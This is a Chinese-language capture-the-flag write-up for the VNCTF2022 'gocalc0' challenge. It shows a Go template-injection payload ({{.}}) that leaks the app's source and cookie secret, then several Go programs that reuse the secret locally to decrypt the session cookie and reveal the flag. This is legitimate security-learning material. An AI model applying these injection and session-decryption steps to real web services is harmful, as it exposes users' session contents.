[VNCTF2022]gocalc0復現
VSole2022-05-07 16:02:38
這道題當時出了非預期,session兩次base64就能getflag,但是這道題本身的考點是Golang SSTI,正好復盤學習一下。
打開題目能看到經典計算器。

點開flag在這里發現只有短短一行提示

flag is in your session
這里按照非預期接還是能夠拿到flag。

但是我們要看一下具體按照預期方法怎么能拿到flag。

https://www.jianshu.com/p/e0ffb76ba7e9
這里我們通過{{.}}查看一下作用域。

整理一下,就能夠看到整個calc的源碼。
package main import ( _ "embed" "fmt" "os" "reflect" "strings" "text/template" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "github.com/maja42/goval") var tpl string //go:embed main.govar source string type Eval struct { E string `json:"e" form:"e" binding:"required"`} func (e Eval) Result() (string, error) { eval := goval.NewEvaluator() result, err := eval.Evaluate(e.E, nil, nil) if err != nil { return "", err } t := reflect.ValueOf(result).Type().Kind() if t == reflect.Int { return fmt.Sprintf("%d", result.(int)), nil } else if t == reflect.String { return result.(string), nil } else { return "", fmt.Errorf("not valid type") }} func (e Eval) String() string { res, err := e.Result() if err != nil { fmt.Println(err) res = "invalid" } return fmt.Sprintf("%s = %s", e.E, res)} func render(c *gin.Context) { session := sessions.Default(c) var his string if session.Get("history") == nil { his = "" } else { his = session.Get("history").(string) } fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his)) t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his)) if err != nil { fmt.Println(err) c.String(500, "internal error") return } if err := t.Execute(c.Writer, map[string]string{ "s0uR3e": source, }); err != nil { fmt.Println(err) }}func main() { port := os.Getenv("PORT") if port == "" { port = "8080" } r := gin.Default() store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) r.Use(sessions.Sessions("session", store)) r.GET("/", func(c *gin.Context) { render(c) }) r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) session.Set("FLAG", os.Getenv("FLAG")) session.Save() c.String(200, "flag is in your session") }) r.POST("/", func(c *gin.Context) { session := sessions.Default(c) var his string if session.Get("history") == nil { his = "" } else { his = session.Get("history").(string) } eval := Eval{} if err := c.ShouldBind(&eval); err == nil { his = his + eval.String() + "
" } session.Set("history", his) session.Save() render(c) }) r.Run(fmt.Sprintf(":%s", port))}
這里有很多東西,我們可以進行一下刪減整理(對我們getflag沒什么用處),提取出我們想要的東西。
package main import ( _ "embed" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "os") func main() { port := os.Getenv("PORT") if port == "" { port = "8888" //這個port可以自己指定奧 } r := gin.Default() store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) r.Use(sessions.Sessions("session", store)) r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) c.String(200, session.Get("FLAG").(string)) }) r.Run(":8888")}
注意下這里:
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
這里是創建基于cookie的存儲引擎,woW_you-g0t_sourcE_co6e參數是用于加密的密鑰。
然后是這里:
c.String(200, session.Get("FLAG").(string))
session.Get("FLAG")這里是gin框架中的讀取session,而他指定了FLAG這個key(session是鍵值對格式數據,因此需要通過key查詢數據),所以我們可以嘗試本地起這個gin框架,修改一下代碼,并且把題目中的session傳入cookie,看看他最終會輸出什么。
exp:
package mainimport ( _ "embed" "fmt" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "os")func main() { port := os.Getenv("PORT") if port == "" { port = "8888" //這個port可以自己指定奧 } r := gin.Default() store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) r.Use(sessions.Sessions("session", store)) r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) b := session.Get("FLAG") fmt.Println(b) }) r.Run(":8888")}
結果如下:

成功解密出flag。
但是這里有個問題。
c.String(200, session.Get("FLAG").(string))
筆者在寫exp的時候,對String()產生了疑惑(我的Golang水平停留在Hello world水平),如果exp這樣寫他會直接輸出在界面上。
r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) c.String(200, session.Get("FLAG").(string))})
出于好奇,我跟進了一下。

這里給了注釋,我蹩腳的翻譯一下
String()會把給定的字符串寫入響應體中
跟進Render。

Render() 寫入響應頭并調用render。并且渲染出來
這里就明了了,shit我根本不用改代碼啊!!!直接讓他渲染出來就好了!!
so,我們驗證一下:
package main import ( _ "embed" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "os") func main() { port := os.Getenv("PORT") if port == "" { port = "8888" //這個port可以自己指定奧 } r := gin.Default() store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) r.Use(sessions.Sessions("session", store)) r.GET("/flag", func(c *gin.Context) { session := sessions.Default(c) c.String(200, session.Get("FLAG").(string)) c.String(200, "This is H3h3QAQ") }) r.Run(":8888")}
結果如下:

又是學到了新知識的一天!
VSole
網絡安全專家